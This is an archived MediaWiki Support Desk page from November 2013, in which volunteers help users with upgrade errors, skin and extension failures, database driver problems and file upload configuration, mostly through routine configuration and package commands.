Comments Extension Database error

I have installed Comments extension http://www.mediawiki.org/wiki/Extension:Comments ,i am using 1.21.2 version of mediawiki, i have updated the wiki ,when i have checked Special:Version it is there ,but when i have added <comments /> to the end of the page ,it is showing this error Database error A database query syntax error has occurred. This may indicate a bug in the software. The last attempted database query was: (SQL query hidden) from within function "Comment::getCommentList". Database returned error "1146: Table 'lriwiki.lriComments' doesn't exist (lriwiki.db.5278410.hostedresource.com)".

please help me with a slution,i have been stuck with this for 3 days, googling a lot Fazeela Abu Zohra (talk) 05:03, 1 November 2013 (UTC)

It looks like update.php hasn't been run or hasn't updated your database correctly. Did you run update.php? ☠MarkAHershberger☢(talk)☣ 15:31, 1 November 2013 (UTC)

Thank you @MarkAHershberger

I have updated it ,but the datanse was not created automatically ,after some googling ,i found a solution that there will be a n sql file in the extension package ,i have imported it to the databse and working perfect.

thanks for replying Fazeela Abu Zohra (talk) 06:28, 4 November 2013 (UTC)

Skin Not Working

Hello,

I managed to do an update from 1.11 to 1.21.2 and now all works (functions) but skins are something like not reconized ! I tried changing from monobook to common to chick nothing works. Here it is : http://azrai.com/wiki/thehub.php 197.27.71.179 (talk) 13:27, 1 November 2013 (UTC)

load.php isn't working on your site. And thehub.php isn't a normal file in MediaWiki.

What is in your .htaccess? ☠MarkAHershberger☢(talk)☣ 15:26, 1 November 2013 (UTC)

Thehub.php is the name of the index (from LocalSettings rewrite rules) 197.27.71.179 20:32, 1 November 2013 (UTC)

Right. I suspect there is something wrong with your .htaccess file. Could you paste it? Oh, but it looks like you've fixed your problem already. Good luck! ☠MarkAHershberger☢(talk)☣ 17:13, 4 November 2013 (UTC)

Logo only works in Vector Skin

Hi,

I've searched everywhere and can't seem to find this answer. My Logo shows up if the skin is set to Vector. I change it to modern and no more logo! I've tried the other skins and its a hit and miss some show the logo some don't.

Where do I start looking to fix this?

Thanks Rick 173.170.142.113 (talk) 12:15, 2 November 2013 (UTC)

Hi Rick!

What have you done to show your logo? 88.130.118.93 12:20, 2 November 2013 (UTC)

1. 1. The relative URL path to the Logo Directory

$wgLogoPath = "$wgScriptPath/images";

1. 1. The relative URL path to the logo. Make sure you change this from the default,
   2. or else you'll overwrite your logo when you upgrade!

$wgLogo = "$wgLogoPath/b/bc/Wiki.png"; 173.170.142.113 13:04, 2 November 2013 (UTC)

That configuration looks good. Maybe you should put the image into images/ directly, so that you get it with $wgLogo = "$wgLogoPath/Wiki.png";, but apart from that it should work.

The thing is that some skins (like Vector) use the logo, while others don't. Modern is among those, which do not use the logo. You can also check that with Wikipedia: Call a page and append useskin=modern to the URL and you will see that also on Wikipedia the pages will come up without logo. So this is neither a bug nor a configuration problem on your site; it is just intended that way. 88.130.118.93 15:54, 2 November 2013 (UTC)

How to write LTR in a RTL MediaWiki?

Hi, My Mediawiki's language is right to left but sometimes I want to use English in my article so I need to write left to right. How can I do this? Omidh (talk) 13:14, 2 November 2013 (UTC)

Wrap the English text in a <div lang="en" dir="ltr">...</div>, it should end up formatted correctly.

(For inline embedding, use a span instead of div.) brion (talk) 19:42, 3 November 2013 (UTC)

I accidentally deleted a group in the "Access Control Panel" extension, and it took the respective pages with it.

Hi,

Our wiki has groups (and namespaces) assigned per project at the moment, and I am trying to change them to a "per department" basis. I thus had to delete all groups and their namespaces and add new groups in the Access Control Panel extension.

I deleted one group, and the pages went with it. I can't find the pages in the Special:Log/delete page. I re-created the group, but the respective pages are still gone. Does anyone know if/how I can restore these gone pages? I'd really hate to lose them.

My versions:

• MediaWiki 1.20.2
• PHP 5.3.3 (apache2handler)
• MySQL 5.1.69 77.47.121.123 (talk) 14:48, 2 November 2013 (UTC)

I'm not sure how you deleted namespaces, but if you restore just the namespaces, that should be enough to get the pages back. ☠MarkAHershberger☢(talk)☣ 17:10, 4 November 2013 (UTC)

Request for new extension - display IFC 3D

Hi,

How / where can I request an new extension to display IFC (en:Industry Foundation Classes) an object based file format as 3D in Mediawiki?

It's meant to show objects such as en:Utah teapot in an integrated IFC-viewer in 3D, so people can rotate, pan and zoom the object.

Looking foward to your replies / answer(s), Blueknight (talk) 19:39, 2 November 2013 (UTC)

<wikieditor-toolbar-tool-file-pre>Example.jpg]] 149.255.223.26 20:26, 2 November 2013 (UTC)

Extension:X3d + http://www.web3d.org/realtime-3d/content/bim-ifc-x3d Blueknight (talk) 20:36, 2 November 2013 (UTC)

You can file a bug under extension requests. ☠MarkAHershberger☢(talk)☣ 17:08, 4 November 2013 (UTC)

Thanks, I'm gonna RTFM :) Blueknight (talk) 11:36, 5 November 2013 (UTC)

Error in new luxotool (guc)

Hello,

I noticed an error in http://tools.wmflabs.org/guc/: the project namespace is always defined as "Wikipedia", causing links to other projects to direct to the English Wikipedia instead. See for example the links to the German and Spanish Wikinews projects and the Chinese Wikiquote at http://tools.wmflabs.org/guc/?user=192.187.114.115.

Could someone please fix this? I hope this is the right place to ask for help. Mathonius (talk) 21:47, 2 November 2013 (UTC)

You should ask User:Luxo who is the one that maintains that tool. ☠MarkAHershberger☢(talk)☣ 17:17, 4 November 2013 (UTC)

Thanks. He's looking into it. Mathonius (talk) 08:13, 6 November 2013 (UTC)

How to add to infoboxes

Okay so, I was wondering how to add my own 'parameter' to the infobox person template. Like let's say I wanted to do someone's game rating, how would I add that section there? 174.48.154.154 (talk) 06:11, 3 November 2013 (UTC)

Hi!

You will have to modify the template itself, so that it uses the new variable, which you want to have. E.g. when you have a table add a row like this:

|-

| Game rating:

| {{{rating}}}

|-

Then when you use the template on pages, you can add something like

| rating = good

See Help:Templates for more information! 88.130.70.21 11:07, 3 November 2013 (UTC)

Thank you very much! 174.48.154.154 15:25, 3 November 2013 (UTC)

Zend OPcache v7.0.3-dev

"Warning: Could not find APC, XCache or WinCache.
Object caching is not enabled.

However:

php -v
PHP 5.5.3-1ubuntu2 (cli) (built: Oct  9 2013 14:49:12) 
Copyright (c) 1997-2013 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2013 Zend Technologies
    with Zend OPcache v7.0.3-dev, Copyright (c) 1999-2013, by Zend Technologies

Would this Zend OPcache v7.0.3-dev do the same thing? see http://pecl.php.net/package/ZendOpcache Fred Bauder (talk) 13:48, 4 November 2013 (UTC)

It may have all the same capabilities, but if there isn't MW support for it, it won't help you. If Zend OPcache supports data caching -- it looks like it only supports opcode caching which isn't the same thing -- and you want support for it, you should file a bug. ☠MarkAHershberger☢(talk)☣ 17:02, 4 November 2013 (UTC)

https://bugzilla.wikimedia.org/show_bug.cgi?id=56652
Andre Klapper <aklapper@wikimedia.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Status|UNCONFIRMED |RESOLVED
Resolution|--- |INVALID
--- Comment #7 from Andre Klapper <aklapper@wikimedia.org> ---
Closing as INVALID, a bugtracker is not the place to discuss this.
Please refer to the support desk or the mediawiki-l mailing list at
https://lists.wikimedia.org/mailman/listinfo/mediawiki-l

Fred Bauder (talk) 12:09, 11 November 2013 (UTC)

[RESOLVED] Exception on sturmkrieg.ru preferences page

Accessing the Preferences page at sturmkrieg.ru now gives an exception. It didn't before when I changed my language setting. I've installed a new skin, but it's used on other wikis, so I doubt that's it. Lieutenant Aleksandr Reznov 04:24, 5 November 2013 (UTC)

I thought I had an account on your wiki. Evidently not.

In any case, what is the exception that it gives? ☠MarkAHershberger☢(talk)☣ 19:35, 5 November 2013 (UTC)

That was Sturmkrieg.us. I have account creation there closed down so it doesn't get spammed or vandalized into oblivion; I'll probably put up ConfirmAccount for the time being so people can still get in if needed.

It actually looks like it has something to do with the skin. I believe it was directly copied from .us, which is fine.

Global default 'sturmkrieg' is invalid for field skin
Backtrace:
#0 /home/dondrekhan/web_servers/sturmkrieg.ru/www/includes/Preferences.php(1221): Preferences::getPreferences(Object(User))
#1 /home/dondrekhan/web_servers/sturmkrieg.ru/www/includes/specials/SpecialPreferences.php(69): Preferences::getFormObject(Object(User))
#2 /home/dondrekhan/web_servers/sturmkrieg.ru/www/includes/SpecialPageFactory.php(458): SpecialPreferences->execute(NULL)
#3 /home/dondrekhan/web_servers/sturmkrieg.ru/www/includes/Wiki.php(240): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#4 /home/dondrekhan/web_servers/sturmkrieg.ru/www/includes/Wiki.php(640): MediaWiki->performRequest()
#5 /home/dondrekhan/web_servers/sturmkrieg.ru/www/includes/Wiki.php(547): MediaWiki->main()
#6 /home/dondrekhan/web_servers/sturmkrieg.ru/www/index.php(57): MediaWiki->run()
#7 {main}

ఠ_ఠ Inquisitor Sasha Ehrenstein des Sturmkrieg Sector (Talk) (Contr) 04:21, 6 November 2013 (UTC)

Maybe you need to set $wgValidSkinNames in your LocalSettings.php? ☠MarkAHershberger☢(talk)☣ 09:47, 7 November 2013 (UTC)

Thanks. It turned out that it was specified in wgSkipSkins for some reason. ಠ_ಠ Inquisitor Sasha des Ordo Scharzenkommando (Talk) ([[Special:Contributions/Inquisit 05:15, 23 November 2013 (UTC)

Break tag appears before parser function

Hi,

I've recently installed Extension:RDFa_Breadcrumbs, and for some reason, there is

<p><br/></p>

appears before extension's parser function, as seen here . What may cause this?

Specs:

• MediaWiki - 1.19.3
• PHP5.4.20 - (cgi-fcgi)
• MySQL - 5.5.34-log

Thanks. 5.167.145.168 (talk) 12:25, 5 November 2013 (UTC)

Probably caused by htmltidy. See $wgUseTidy. ☠MarkAHershberger☢(talk)☣ 19:30, 5 November 2013 (UTC)

fatal error message: FCKeditor

Hi Everyone,

I'm trying to upgrade my office's mediawiki from 1.10.0 to 1.21.1 I've gotten pretty far, then ran into this fatal error message:

Fatal error: Call to undefined method Parser::strip() in /var/www/html/mediawiki/extensions/FCKeditor/FCKeditor.body.php on line 144

From what I've read on the net, this a bug with newer versions of mediawiki. Is this correct, and if so, is there a fix yet?

Thanks!

Roman Rwberdes (talk) 18:15, 5 November 2013 (UTC)

Does it work if you disable FCKeditor? That editor isn't supported with newer versions of MediaWiki (although there are hacks to make it work). ☠MarkAHershberger☢(talk)☣ 19:20, 5 November 2013 (UTC)

Hi!

Yes, this is a bug in FCKEditor, but no, there is no fix. And there will most probably not ever come one: Extension:FCKeditor is no longer maintained. To solve the problem, you have to uninstall the extension.

There is currently no WYSIWYG editor for MediaWiki. However, Extension:WikiEditor comes with MediaWiki 1.21 and it offers at least part of that functionality.

Btw.: Please upgrade to version 1.21.2; it contains important security fixes over 1.21.1. 88.130.113.138 19:24, 5 November 2013 (UTC)

Hi,

Is there a way I can post an image to this thread? I wanted you to see the messages I was seeing in the browser.

Thanks,

Roman Rwberdes (talk) 21:01, 5 November 2013 (UTC)

You can post the image somewhere in the net, e.g. on imageshack or imageban or or or and link it here. 88.130.113.138 21:38, 5 November 2013 (UTC)

Hello!

I was able to copy the text off of the browser so it wasn't a big deal. here it is:

Internal error

Call to undefined method SkinCarSkin::tooltipAndAccesskey

Backtrace:

1. 0 /var/www/html/wiki/skins/CarSkin.php(141): Skin->__call('tooltipAndAcces...', Array)
2. 1 /var/www/html/wiki/skins/CarSkin.php(141): SkinCarSkin->tooltipAndAccesskey('ca-nstab-main')
3. 2 /var/www/html/wiki/includes/SkinTemplate.php(492): CarSkinTemplate->execute()
4. 3 /var/www/html/wiki/includes/OutputPage.php(2034): SkinTemplate->outputPage()
5. 4 /var/www/html/wiki/includes/Wiki.php(572): OutputPage->output()
6. 5 /var/www/html/wiki/includes/Wiki.php(458): MediaWiki->main()
7. 6 /var/www/html/wiki/index.php(59): MediaWiki->run()
8. 7 {main}

Original exception: exception 'MWException' with message 'Call to undefined method SkinCarSkin::tooltipAndAccesskey' in /var/www/html/wiki/includes/Skin.php:1563

Stack trace:

#0 /var/www/html/wiki/skins/CarSkin.php(141): Skin->__call('tooltipAndAcces...', Array)

#1 /var/www/html/wiki/skins/CarSkin.php(141): SkinCarSkin->tooltipAndAccesskey('ca-nstab-main')

#2 /var/www/html/wiki/includes/SkinTemplate.php(492): CarSkinTemplate->execute()

#3 /var/www/html/wiki/includes/OutputPage.php(2034): SkinTemplate->outputPage()

#4 /var/www/html/wiki/includes/Wiki.php(572): OutputPage->output()

#5 /var/www/html/wiki/includes/Wiki.php(458): MediaWiki->main()

#6 /var/www/html/wiki/index.php(59): MediaWiki->run()

#7 {main}

Exception caught inside exception handler: exception 'MWException' with message 'Call to undefined method SkinCarSkin::tooltipAndAccesskey' in /var/www/html/wiki/includes/Skin.php:1563

Stack trace:

#0 /var/www/html/wiki/skins/CarSkin.php(141): Skin->__call('tooltipAndAcces...', Array)

#1 /var/www/html/wiki/skins/CarSkin.php(141): SkinCarSkin->tooltipAndAccesskey('ca-nstab-main')

#2 /var/www/html/wiki/includes/SkinTemplate.php(492): CarSkinTemplate->execute()

#3 /var/www/html/wiki/includes/OutputPage.php(2034): SkinTemplate->outputPage()

#4 /var/www/html/wiki/includes/Exception.php(227): OutputPage->output()

#5 /var/www/html/wiki/includes/Exception.php(272): MWException->reportHTML()

#6 /var/www/html/wiki/includes/Exception.php(643): MWException->report()

#7 /var/www/html/wiki/includes/Exception.php(713): MWExceptionHandler::report(Object(MWException))

#8 /var/www/html/wiki/includes/Wiki.php(461): MWExceptionHandler::handle(Object(MWException))

#9 /var/www/html/wiki/index.php(59): MediaWiki->run()

#10 {main}

I commented out the entry for FCKeditor in our LocalSettings.php file and got the above output when I loaded out wiki homepage in firefox. CarSkin.php is our custom skin file. Any help is greatly appreciated.

Thanks,

Roman Rwberdes (talk) 18:34, 6 November 2013 (UTC)

Hi Roman!

This problem can be solved by replacing the call to tooltipAndAccesskey with a call to tooltipAndAccesskeyAttribs in CarSkin.php, line 141. Should you have other calls to tooltipAndAccesskey, replace them as well.

Btw: This error does not have to do with FCKeditor; when you enable FCKeditor again, the error will not go away, you possibly only get additional errors from the outdated editor. 88.130.116.215 01:03, 7 November 2013 (UTC)

That worked!

Thank you! 205.156.27.110 13:24, 7 November 2013 (UTC)

Hi there is Extension:WYSIWYG or there is Extension:WikiEditor 2.217.72.198 17:11, 7 November 2013 (UTC)

The other IP is right. However, take note that Extension:WYSIWYG has last been officially updated for MediaWiki 1.17. That is several years in the past. During that time, no updates have been done. That does not only mean no more bug fixes and features, but even more important: No security fixes. I would not consider a 3-year-unmaintained extension secure. 88.130.116.215 18:08, 7 November 2013 (UTC)

Hello!

After switching all the "tooltipAndAccesskey" to "tooltipAndAccesskeyAttribs" in CarSkin.php, the wiki will load in the browser, but none of the content. I will show you what I mean.

Before:

http://imageshack.us/a/img46/672/o21v.png

after:

http://imageshack.us/a/img69/6163/qgny.png

Anyone have any ideas what the problem might be?

Thanks,

Roman Rwberdes (talk) 18:44, 7 November 2013 (UTC)

Hi!

I see two differences: The sidebar on the left side has changed. How did you create the sidebar? Usually it is created from the contents of the wiki page MediaWiki:Sidebar. Make sure to update that page as you need it. See Manual:Interface/Sidebar for more information.

Then the content has changed. What you show in the second screenshot is what you have after you have set up a new and empty wiki.

Have you set up the wiki in a new database? That would explain the missing content on the main page and also the changed sidebar as that one comes from the database as well. When you update the wiki, make sure that you continue using the "old" database (or a copy of it) and then run update.php. This will update the contents inside that database. There is no need to start over with an empty wiki. :-) 88.130.74.195 23:06, 7 November 2013 (UTC)

Problem with displaying

F.e. page: http://wiki.westeros.pl/index.php?title=Z%C5%82ota_Kompania

I have :

Bieżące wydarzenia

Placing Pages of Specific Keyword on a Page

I have a wiki here: http://internetedmdatabase.com/

I like to be able to click "Genres" category. Then click say "Breakbeat". On this page is the description of this genre. Under this, I like to display a list of all Artists (which is a category) with this "Genre" listed on their page, here. So basically it shows a list of artists from the breakbeat genre. Nodantheman (talk) 23:39, 5 November 2013 (UTC)

I don't have a definitive answer, but let me rephrase your question: As I understand you, you have a category filled with pages and now you want to transclude the category in an artice as if it was a template (with the result that you see the pages inside the category in the article).

I don't know if that works, but maybe this can be done by creating a template, which itself somehow shows the pages in the category. E.g. for the category called "Category:Breakbeast" you would have to put this into the template: {{Category:Breakbeast}}. And then put this template in each article, where you want to have the list of pages. 88.130.121.190 14:13, 6 November 2013 (UTC)

If you want to do a lot of this sort of thing, you'll want to look at Semantic MediaWiki, but you can begin by adding [[Category:Breakbeat]] to wikitext of any artists that that have that genre. Then on the Category:Breakbeat page, add [[Category:Genre]]. You would do that with any other categories that are subpages of the Genre Category. ☠MarkAHershberger☢(talk)☣ 01:07, 7 November 2013 (UTC)

Wikipedia Database dump - 20110722.xml dump file is unavailable

How to get Wikipedia 20110722.xml dump? - there is no mirror / wikipedia official page which can provide me this dump

I have been trying to run Wikipedia Miner - a topic modelling API over wikipedia developed by University of Waikato. The Miner processes the xml wiki dumps into the csvs and operates on csvs and xmls to give topic modelling for different articles. I could get my hands on the 20110722 csv which the platform needs but NOWHERE could I see the 20110722 xml dump file of wikipedia. I have browsed through all the mirrors and the wikipedia official download page along with archives.org but could not find it. If anyone out there can help me with the xml dump file or can point me to the right leads, it would be greatly appreciated. Thanks in advance .. 122.160.43.14 (talk) 11:18, 6 November 2013 (UTC)

Hi!

This Google search shows some results for what you might be looking for. However, quickly scanning the pages, I also did not find a link. Also on the Wikipedia site, the link is marked as broken. There seem to be several different files - also from the same dates. Current archives are here: http://dumps.wikimedia.org/ Maybe it is the easiest to pick another, a newer dump. Those are available. 88.130.121.190 13:06, 6 November 2013 (UTC)

How can a sysop reset an account lockout due to failed login attempts?

Hey all -

I work on a Mediawiki used for software documentation. In a spacey moment, I entered my password wrong a few times, and got locked out. The lockout has never expired (I've been out for a week and a half) and the Wiki manager isn't sure where the setting to reset this is located. I've been unable to find it in the Mediawiki manual. Could you guys provide any insight on how a sysop can reset this lockout? Thanks much!

Relevant version info:

MediaWiki 1.15.1 PHP 5.3.2-1ubuntu4.18 (apache2handler) MySQL 5.1.66-0ubuntu0.10.04.3-log 76.22.67.125 (talk) 18:29, 6 November 2013 (UTC)

I'm not aware of any lock out functionality in MediaWiki. Maybe your wiki is using LDAP to provide users and passwords and the lockout happened on the LDAP server? ☠MarkAHershberger☢(talk)☣ 00:47, 7 November 2013 (UTC)

Creating a Dynamic Category/Main page with Images.

I'd like to create a image-rich category page like Wiki How, [ http://www.wikihow.com/Category:Education-and-Communications http://www.wikihow.com/Category:Education-and-Communications]

I'm assuming that was done with a mediawiki extension, but can't find which one. Is it DynamicPageList (Wikimedia)?

I realize there might be some proprietary css & coding done there but I'm assuming there's a base-extension they modified?

Thanks! MarkJurgens (talk) 21:28, 6 November 2013 (UTC)

You can see the extensions used by WikiHow on their Special:Version page. ☠MarkAHershberger☢(talk)☣ 00:49, 7 November 2013 (UTC)

[RESOLVED] Fatal exception of type MWException after upgrading php and apache

After upgrading apache and php to latest version ( on ubuntu 12.04 ), I got this error "Fatal exception of type MWException"

detail:

[9ce78d3a] /wiki/index.php/%D8%B5%D9%81%D8%AD%D9%87%D9%94_%D8%A7%D8%B5%D9%84%DB%8C Exception from line 797 of /var/www/wiki/includes/db/Database.php: DatabaseBase::factory no viable database extension found for type 'mysql'

Backtrace:

1. 0 /var/www/wiki/includes/db/LoadBalancer.php(730): DatabaseBase::factory(string, array)
2. 1 /var/www/wiki/includes/db/LoadBalancer.php(606): LoadBalancer->reallyOpenConnection(array, boolean)
3. 2 /var/www/wiki/includes/db/LoadBalancer.php(493): LoadBalancer->openConnection(integer, boolean)
4. 3 /var/www/wiki/includes/GlobalFunctions.php(3649): LoadBalancer->getConnection(integer, array, boolean)
5. 4 /var/www/wiki/includes/cache/LocalisationCache.php(1071): wfGetDB(integer)
6. 5 /var/www/wiki/includes/cache/LocalisationCache.php(397): LCStore_DB->get(string, string)
7. 6 /var/www/wiki/includes/cache/LocalisationCache.php(440): LocalisationCache->isExpired(string)
8. 7 /var/www/wiki/includes/cache/LocalisationCache.php(324): LocalisationCache->initLanguage(string)
9. 8 /var/www/wiki/includes/cache/LocalisationCache.php(259): LocalisationCache->loadItem(string, string)
10. 9 /var/www/wiki/languages/Language.php(4122): LocalisationCache->getItem(string, string)
11. 10 /var/www/wiki/languages/Language.php(238): Language::getFallbacksFor(string)
12. 11 /var/www/wiki/languages/Language.php(197): Language::newFromCode(string)
13. 12 /var/www/wiki/includes/Setup.php(537): Language::factory(string)
14. 13 /var/www/wiki/includes/WebStart.php(153): require_once(string)
15. 14 /var/www/wiki/index.php(46): require(string)
16. 15 {main} Omidh (talk) 09:22, 7 November 2013 (UTC)

You need to install and enable the MySQL driver. On Ubuntu, this is:

sudo apt-get install php5-mysql ☠MarkAHershberger☢(talk)☣ 09:44, 7 November 2013 (UTC)

Ubuntu respond, php5-mysql is already the newest version. Omidh (talk) 09:50, 7 November 2013 (UTC)

I tried install libapache2-mod-auth-mysql, I got this:

The following packages have unmet dependencies:

libapache2-mod-auth-mysql : Depends: apache2.2-common (>= 2.2.3-3) but it is not going to be installed

help please Omidh (talk) 10:06, 7 November 2013 (UTC)

To resolve this issue, you do not need to install libapache2-mod-auth-mysql. ☠MarkAHershberger☢(talk)☣ 10:13, 7 November 2013 (UTC)

Try

sudo php5enmod mysql

sudo service apache2 restart ☠MarkAHershberger☢(talk)☣ 10:07, 7 November 2013 (UTC)

Thanks It worked! What does that command do? Omidh (talk) 10:13, 7 November 2013 (UTC)

php5enmod and service apache2 restart. ☠MarkAHershberger☢(talk)☣ 10:32, 7 November 2013 (UTC)

[RESOLVED] Can't contact the database server: Unknown database 'my_wiki' (localhost) WAMP

Error: Sorry! This site is experiencing technical difficulties. Try waiting a few minutes and reloading. (Can't contact the database server: Unknown database 'my_wiki' (localhost))

I am using a PC sat on my network with WAMPServer running. For some reason after rebooting the PC for the first time since installation of mediawiki, the site can no longer see the MySQL database.

I have also tried restarting the WAMP service. I have also set the MySQL database password again in WAMP to set it in line with the password set in localsettings.php.

Any help would be greatly appreciated. 194.176.105.141 (talk) 13:10, 7 November 2013 (UTC)

The WAMPServer forum is probably a better place to ask, but I would make sure MySQL is running. ☠MarkAHershberger☢(talk)☣ 15:06, 7 November 2013 (UTC)

I have resolved this issue.

For some reason after the machine restarted (somehow) the ini file had changed for the MySQL database.

I restored it and the site is now back up.

Thank you though. 194.176.105.141 15:55, 7 November 2013 (UTC)

[RESOLVED] Collection:Extension, PDF export headers and footers

Hi Guys,

I have a wiki server setup with the following configuration:

I installed the Extension:Collection and created my own render server to produce PDFs. I am trying to figure out how to customize the header and footer of the PDF output, but I'm not sure which file these settings are contained in.

Can anyone help me out?

Thank you. SpartanGuy07 (talk) 23:34, 7 November 2013 (UTC)

I realized I forgot to include that I was using the mwlib as my render server. I went to that page that page and found the answer glaring at me.

It's just a matter of setting the page configuration variables below (I thought I saw them somewhere):

######### PAGE CONFIGURATION

page_break_after_article = True # Turn Off/On page break after each article

show_article_attribution = False # Show/Hide article source and contributors

pagefooter = 'This text is printed in the footer of all article pages'

titlepagefooter = 'This text is only printed in the footer of the title page'

titlepageimage = '/data/yourimagename.png' # Path of an image that is to be

displayed on the title page SpartanGuy07 (talk) 23:39, 7 November 2013 (UTC)

Wikifarm question.

I am interested in using mediawiki for a multiple department company database. However. Each department needs their own private wiki. After research, it seems like a wikifarm would work in this scenario. However, I have a few questions.

Is it possible to have users log in on one main page which will redirect them to their respective wiki? Can each wiki have it's own wiki have it's own admin who can add users separate from other wikis?

Essentially, I want all wikis to operate as separate entities, but with one central login page. Separate administrators for each site and one super administrator for updates, extensions, and maintenance.

Is this possible? And how would I approach this solution? 67.100.77.173 (talk) 23:55, 7 November 2013 (UTC)

Is it possible to have users log in on one main page which will redirect them to their respective wiki?

Anything is possible, but sometimes the code needs to be written to support this. This sort of functionality doesn't come out of the box.

Can each wiki have it's own wiki have it's own admin who can add users separate from other wikis?

Depending on how you have them set up, yes.

Is this possible? And how would I approach this solution?

Yes, it is possible. To do it you would need to hire a consultant (disclaimer: I'm one) and or develop this sort of thing yourself. A good deal of this is already done. See ORain's github repo for some ideas. ☠MarkAHershberger☢(talk)☣ 02:45, 8 November 2013 (UTC)

[RESOLVED] Help cannot upload images

Hi when I try and upload an image I get the following error:

Error setting curl options.
Backtrace:
#0 /var/www/html_wiki/includes/filerepo/ForeignAPIRepo.php(383): CurlHttpRequest->execute()
#1 /var/www/html_wiki/includes/filerepo/ForeignAPIRepo.php(166): ForeignAPIRepo::httpGet('http://commons....')
#2 /var/www/html_wiki/includes/filerepo/ForeignAPIFile.php(42): ForeignAPIRepo->fetchImageQuery(Array)
#3 [internal function]: ForeignAPIFile::newFromTitle(Object(Title), Object(ForeignAPIRepo))
#4 /var/www/html_wiki/includes/filerepo/FileRepo.php(90): call_user_func(Array, Object(Title), Object(ForeignAPIRepo))
#5 /var/www/html_wiki/includes/filerepo/ForeignAPIRepo.php(85): FileRepo->newFile(Object(Title), false)
#6 /var/www/html_wiki/includes/filerepo/FileRepo.php(122): ForeignAPIRepo->newFile(Object(Title))
#7 /var/www/html_wiki/includes/filerepo/RepoGroup.php(157): FileRepo->findFile(Object(Title), Array)
#8 /var/www/html_wiki/includes/GlobalFunctions.php(3257): RepoGroup->findFile(Object(Title), Array)
#9 /var/www/html_wiki/includes/upload/UploadBase.php(1140): wfFindFile(Object(Title))
#10 /var/www/html_wiki/includes/upload/UploadBase.php(491): UploadBase->checkOverwrite(Object(User))
#11 /var/www/html_wiki/includes/specials/SpecialUpload.php(452): UploadBase->verifyTitlePermissions(Object(User))
#12 /var/www/html_wiki/includes/specials/SpecialUpload.php(202): SpecialUpload->processUpload()
#13 /var/www/html_wiki/includes/SpecialPageFactory.php(458): SpecialUpload->execute(NULL)
#14 /var/www/html_wiki/includes/Wiki.php(240): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#15 /var/www/html_wiki/includes/Wiki.php(640): MediaWiki->performRequest()
#16 /var/www/html_wiki/includes/Wiki.php(547): MediaWiki->main()
#17 /var/www/html_wiki/index.php(57): MediaWiki->run()
#18 {main}

I have

1. reviewed all steps in https://www.mediawiki.org/wiki/Manual:Configuring_file_uploads
   • directory permissions are all ok.
   • phpinfo() is showing
     Configure Command --without-curl
cURL support enabled
   • Not sure is this is my issue, but I do not know how to change Configure Command to --with-curl ?
   • I can see the curl.so in the modules directory
2. searched google for answers and the support desk

I am running my wiki on AWS Linux server

PHP Version - PHP 5.3.27 (cli) (built: Jul 12 2013 22:04:28) Copyright (c) 1997-2013 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2013 Zend Technologies

DB MySQL Version - mysql(5.6.13)

Mediawiki version - 1.18.1

Any ideas how I can get file upload working ?

Many thanks

Mark Mark (talk) 13:16, 8 November 2013 (UTC)

FIXED

I did the following now all working.

1. upgrade mediawiki to latest 1.21
2. installed php-xml
3. chown images to apache user

Now all working.

thanks

Mark Mark (talk) 14:01, 8 November 2013 (UTC)

Making pages

Hi, I have just set up an account & need to add two pages to this. How can i do so? KinkStation (talk) 14:39, 8 November 2013 (UTC)

Do you need a tutorial on how to use MediaWiki? If that doesn't answer your question, could you clarify? ☠MarkAHershberger☢(talk)☣ 19:16, 8 November 2013 (UTC)

upgrading wiki

Hi Everyone,

I'm trying to upgrade an old version of mediawiki(1.10) to 1.21.1. I thought I had everything right in my LocalSettings.php file. But when I after I selected the language I wanted to use and continued, I received the following warning:

Warning: include_once(/languages/SF_LanguageEn.php): failed to open stream: No such file or directory in /var/www/html/wiki/extensions/SemanticForms/SemanticForms.php on line 312
Warning: include_once(): Failed opening '/languages/SF_LanguageEn.php' for inclusion (include_path='/var/www/html/wiki:/var/www/html/wiki/includes:/var/www/html/wiki/languages:.:/usr/share/pear:/usr/share/php') in /var/www/html/wiki/extensions/SemanticForms/SemanticForms.php on line 312
Fatal error: Class 'SF_LanguageEn' not found in /var/www/html/wiki/extensions/SemanticForms/SemanticForms.php on line 316

The file is there so I have idea what it is talking about. Any helps is greatly appreciated.

Thanks,

Roman Rwberdes (talk) 15:35, 8 November 2013 (UTC)

Hi Roman,

no, this file is not there. ;-) Note how it tries to include the file in the folder languages in the root of the server. Maybe you have accidentally set an absolute path where you should set a relative one? Btw: Make sure that you update Extension:SemanticForms to a version, which is compatible with MediaWiki 1.21. Maybe that already solves the problem. 88.130.74.195 16:45, 8 November 2013 (UTC)

Protect page and subpage

Hi, is it possible to protect subpages of a page when I protect this page?

Thanks 201.55.240.4 (talk) 16:26, 8 November 2013 (UTC)

You're looking for a fix to this bug: Option to protect all subpages and talk pages when protecting the page ☠MarkAHershberger☢(talk)☣ 19:12, 8 November 2013 (UTC)

[RESOLVED] Connect through socket is crashing MySQL server

I have recently been put in charge of my companies Wiki that they use for a knowledge base. It is way out of date MediaWiki 1.16.1 (patched to enable page accessrestriction) PHP 5.2.17 (apache2handler) (patched to enable page accessrestriction) MySQL 5.1.58 (patched to enable page accessrestriction)

and so the first thing Im working on is updating to the latest version. Created a virtual machine, cloned the production machine onto the VM and Ive run into a bit of a problem that I just cant track down. Any help would be greatly appreciated.

I can read and write to the wikidb through PhpMyAdmin using the same socket and user that the wiki is trying to use. but whenever i try and navigate to the mediawiki page in my browser the MySQL server crashes (mysql status shows uptime revert to 0seconds, and logs show a restart) and the following is dumped into the browser:

MediaWiki internal error.

Original exception: exception 'DBQueryError' with message 'A database error has occurred Query: COMMIT Function: Database::commit Error: 2002 Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111) (localhost) ' in /var/www/html/mediawiki/includes/db/Database.php:576 Stack trace:

1. 0 /var/www/html/mediawiki/includes/db/Database.php(538): DatabaseBase->reportQueryError('Can't connect t...', 2002, 'COMMIT', 'Database::commi...', false)
2. 1 /var/www/html/mediawiki/includes/db/Database.php(1969): DatabaseBase->query('COMMIT', 'Database::commi...')
3. 2 /var/www/html/mediawiki/includes/BagOStuff.php(265): DatabaseBase->commit()
4. 3 /var/www/html/mediawiki/includes/MessageCache.php(241): SqlBagOStuff->get('wikidb:messages...')
